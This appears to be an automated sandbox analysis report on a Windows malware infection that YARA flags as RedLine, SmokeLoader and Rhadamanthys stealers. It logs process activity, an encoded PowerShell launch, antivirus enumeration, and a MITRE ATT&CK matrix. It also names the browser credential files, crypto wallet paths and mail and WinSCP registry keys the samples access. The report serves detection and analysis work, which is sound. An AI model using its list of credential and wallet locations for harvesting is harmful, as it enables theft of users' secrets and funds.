Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAOQAwAA==

Source: explorer.exe, 00000001.00000000.267939232.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program ManagerT7<=ge
Source: fontview.exe, 00000013.00000003.416675694.0000000005B80000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.414492613.00000000055B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TargetundeleteSoftware\Microsoft\Tracking\TimeOut::{9db1186e-40df-11d1-aa8c-00c04fb67863}:Shell_TrayWnd
Source: fontview.exe, 00000013.00000003.412196998.0000000006930000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.410010255.00000000055B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ShellFileViewFolderExploreFolderConfirmCabinetIDDeleteGroupDeleteItemReplaceItemReloadFindFolderOpenFindFileCreateGroupShowGroupAddItemExitProgman[RN
Source: fontview.exe, 00000013.00000003.412196998.0000000006930000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.410010255.00000000055B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %c:\%sExplorerDMGFrameGroupssetupPmFrameGetIconGetDescriptionGetWorkingDirSoftware\Microsoft\Windows\CurrentVersion\Explorer\MapGroupsSenderCA_DDECLASSInstallMake Program Manager GroupStartUpccInsDDEBWWFrameDDEClientWndClassBACKSCAPEMediaRecorderMedia Recorder#32770DDEClientddeClassgroups
Source: fontview.exe, 00000013.00000003.401675563.0000000005000000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000001.00000000.267939232.0000000001980000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.270172143.0000000006770000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.275078678.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: fontview.exe, 00000013.00000003.400623587.00000000055B0000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.400263237.0000000005084000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: GetProgmanWindow
Source: explorer.exe, 00000001.00000000.267939232.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: rundll32.exe, 00000018.00000003.490751661.000002275D660000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WindowOverrideScaleFactorShell_TrayWnd[
Source: fontview.exe, 00000013.00000003.412196998.0000000006930000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.410010255.00000000055B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PreviewMetadataLabelPreviewMetadataSpacerPreviewEditMetadataPreviewMetadataControlIconLayoutsWorkAreaChangeActivityPreviewMetadataRowAddRemoveAppBarShell_TrayWndhomepagetasklinktasklinkTaskSearchTexttasks%s
Source: fontview.exe, 00000013.00000003.401675563.0000000005000000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: *Program ManagerpszDesktopTitleWSoftware\Classes\
Source: fontview.exe, 00000013.00000003.412196998.0000000006930000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.410010255.00000000055B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: animationTileContentsSrcVerticalScrollBaranimationProgressSrcanimationTileContentsDstInneranimationTileContentsSrcInneranimationTileContentsDstanimationProgressDstInneranimationProgressDstanimationProgressSrcInnereltRegularTileHeadereltSummaryeltInterruptPaneeltProgressBaridOperationTileeltInterruptDoForAlleltItemIconeltInterruptDescriptioneltInterruptButtonsContainereltInterruptDeleteBtneltInterruptElevateBtneltItemPropseltItemNameeltInterruptYesBtneltInterruptRetryBtneltInterruptCancelBtneltInterruptSkipBtnConfirmationCheckBoxDoForAlleltInterruptNoBtneltInterruptOKBtnshell\shell32\operationstatusmgr.cppidTileSubTextidOperationInterrupteltInterruptDoForAllLabelidTileActionIdTileKeepSourceidItemTileIdTileDecideForEachIdTileIgnoreIdTileKeepAsPersonalIdTileKeepAsWorkIdTileKeepDestCustomCommandIconDecideForEachTileIconSkipTileIconKeepSourceTileIconeltItemTileContainereltConflictInterruptDescriptionidTileIconidCustomConflictInterrupteltInterruptTileHeaderidConflictInterrupteltRateChartCHARTVIEW%0.2fIdTileDefaulteltPauseButtoneltTileContentseltTile%ueltTimeRemainingeltConflictInterrupteltConfirmationInterrupteltLocationseltItemsRemainingeltDetailseltScrolleltRegularTileeltCancelButtonidTileHosteltScrollBarFillereltDividereltProgressBarContainereltDisplayModeBtnFocusHoldereltDisplayModeBtnWindows.SystemToast.ExplorerEnthusiastModeprogmaneltFooterArealfEscapementSoftware\Microsoft\NotepadRICHEDIT50WlfUnderlinelfItaliclfWeightlfOrientationlfClipPrecisionlfOutPrecisionlfCharSetlfStrikeOutLucida ConsoleiPointSizelfPitchAndFamilylfQualitylfFaceName
Source: fontview.exe, 00000013.00000003.406207334.0000000005084000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.406327938.0000000005110000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndSHCore.Subclass.DataSystem\CurrentControlSet\Control\HvsiWindowOverrideScaleFactorSoftware\Microsoft\Windows\CurrentVersion\Explorer\FCM\Impolite[
Source: fontview.exe, 00000013.00000003.410010255.00000000055B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ImageList_CoCreateInstanceProgmanProgram Managercomctl32.dllImageList_ReplaceIconImageList_CreateImageList_Destroy
Source: fontview.exe, 00000013.00000003.412196998.0000000006930000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.410010255.00000000055B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|}TFoldersAppPropertiesShell*ProgmanProgmanPROGMANSoftware\Microsoft\Windows\CurrentVersion\PoliciesPolicyAutoColorizationHandleAssociationChange
Source: explorer.exe, 00000001.00000000.267687149.0000000001378000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CProgmanile
Source: explorer.exe, 00000001.00000000.267939232.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: fontview.exe, 00000013.00000003.400623587.00000000055B0000.00000004.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.400263237.0000000005084000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SetProgmanWindow
Source: fontview.exe, 00000013.00000003.401675563.0000000005000000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: RtlDllShutdownInProgress_p0.System......./UseSystemForSystemFoldersSoftware\Microsoft\Windows\CurrentVersion\Explorerdesktop.ini%APPDATA%%USERPROFILE%%ALLUSERSPROFILE%%ProgramFiles%%SystemRoot%%SystemDrive%\\%COMPUTERNAME%...\...PATH.exe.lnk.cmd.bat.com.pifCutListSoftware\Microsoft\Windows\CurrentVersion\Explorer\FileAssociation\VarFileInfo\Translation\StringFileInfo\%04X%04X\FileDescription\StringFileInfo\040904E4\FileDescription\StringFileInfo\04090000\FileDescriptionProgram ManagerpszDesktopTitleW%%%s%%%sUSERPROFILEProgramFilesSystemRootSystemDrivewindir"%1"commandshellSoftware\classesDefaultIconshell\%sAssignmentType0Software\Classes\Applications\%sSoftware\Classes\Applications%1.ade.adp.app.asp.cer.chm.cnt.crt.csh.der.fxp.gadget.grp.hlp.hpj.inf.ins.isp.its.js.jse.ksh.mad.maf.mag.mam.maq.mar.mas.mat.mau.mav.maw.mcf.mda.mdb.mde.mdt.mdw.mdz.msc.msh.msh1.msh1xml.msh2.msh2xml.mshxml.msp.mst.msu.ops.pcd.pl.plg.prf.prg.printerexport.ps1.ps1xml.ps2.ps2xml.psc1.psc2.psd1.psm1.pst.scf.sct.shb.shs.theme.tmp.url.vbe.vbp.vbs.vhd.vhdx.vsmacros.vsw.webpnp.ws.wsc.wsf.wsh.xnkHKCU:HKLM:HKCR:%s\shell\%s\commandshell\%s\commandSoftware\Clients\%sSoftware\Clients\%s\%sOpen.*....../UseSystemForSystemFoldersdesktop.ini%SystemDrive%\\%COMPUTERNAME%...\...%s\%s\StringFileInfo\04090000\FileDescriptionT

Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	14_2_0042B0E9
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: EnumSystemLocalesW,	14_2_0042B3D6
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: EnumSystemLocalesW,	14_2_0042B38B
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: EnumSystemLocalesW,	14_2_0042B471
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: GetLocaleInfoW,	14_2_00423431
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	14_2_0042B4FC
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: GetLocaleInfoW,	14_2_0042B74F
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	14_2_0042B878
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: GetLocaleInfoW,	14_2_0042B97E
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	14_2_0042BA4D
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: EnumSystemLocalesW,	14_2_00422F0B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Library.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\336E.exe

Code function: 14_2_00413A75 cpuid

14_2_00413A75

Source: C:\Windows\System32\rundll32.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\336E.exe

Code function: 14_2_00413CC0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

14_2_00413CC0

Source: C:\Users\user\AppData\Local\Temp\336E.exe

Code function: 14_2_004041D0 SHGetFolderPathA,GetModuleFileNameA,GetComputerNameA,GetUserNameA,

14_2_004041D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 16.3.226F.exe.d030000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.ngentask.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.226F.exe.d030000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.226F.exe.d030000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.226F.exe.16f3fc0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.226F.exe.16f3fc0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.226F.exe.16f3fc0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.226F.exe.16f3fc0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000003.367401202.000000000D030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.469890360.00000000016EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.479891077.00000000016F2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.369928370.000000000D032000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.456297712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ngentask.exe PID: 816, type: MEMORYSTR

Yara detected SmokeLoader

Source: Yara match	File source: 0000000D.00000002.403573170.0000000004921000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.291031913.0000000004931000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.402735340.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.290704860.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000018.00000003.635769063.000002275D541000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.517892986.000002275DAB3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.383001700.0000000003666000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.465106371.000002275D66D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.463672074.000002275D472000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.519715452.000002275DCB6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.467467655.00000000035B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fontview.exe PID: 4020, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Bitcoin\Bitcoin-Qt
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Found many strings related to Crypto-Wallets (likely being stolen)

Source: ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumE#
Source: ngentask.exe, 00000012.00000002.460489461.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxE#
Source: ngentask.exe, 00000012.00000002.460489461.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: ngentask.exe, 00000012.00000002.460489461.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusE#
Source: ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: ngentask.exe, 00000012.00000002.460489461.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration\Security

Source: Yara match	File source: 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.460489461.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ngentask.exe PID: 816, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 16.3.226F.exe.d030000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.ngentask.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.226F.exe.d030000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.226F.exe.d030000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.226F.exe.16f3fc0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.226F.exe.16f3fc0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.226F.exe.16f3fc0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.226F.exe.16f3fc0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000003.367401202.000000000D030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.469890360.00000000016EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.479891077.00000000016F2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.369928370.000000000D032000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.456297712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ngentask.exe PID: 816, type: MEMORYSTR

Yara detected SmokeLoader

Source: Yara match	File source: 0000000D.00000002.403573170.0000000004921000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.291031913.0000000004931000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.402735340.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.290704860.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000018.00000003.635769063.000002275D541000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.517892986.000002275DAB3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.383001700.0000000003666000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.465106371.000002275D66D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.463672074.000002275D472000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.519715452.000002275DCB6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.467467655.00000000035B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fontview.exe PID: 4020, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	431 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	11 Native API	1 Scheduled Task/Job	712 Process Injection	111 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	1 Scheduled Task/Job	31 Obfuscated Files or Information	1 Credentials in Registry	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
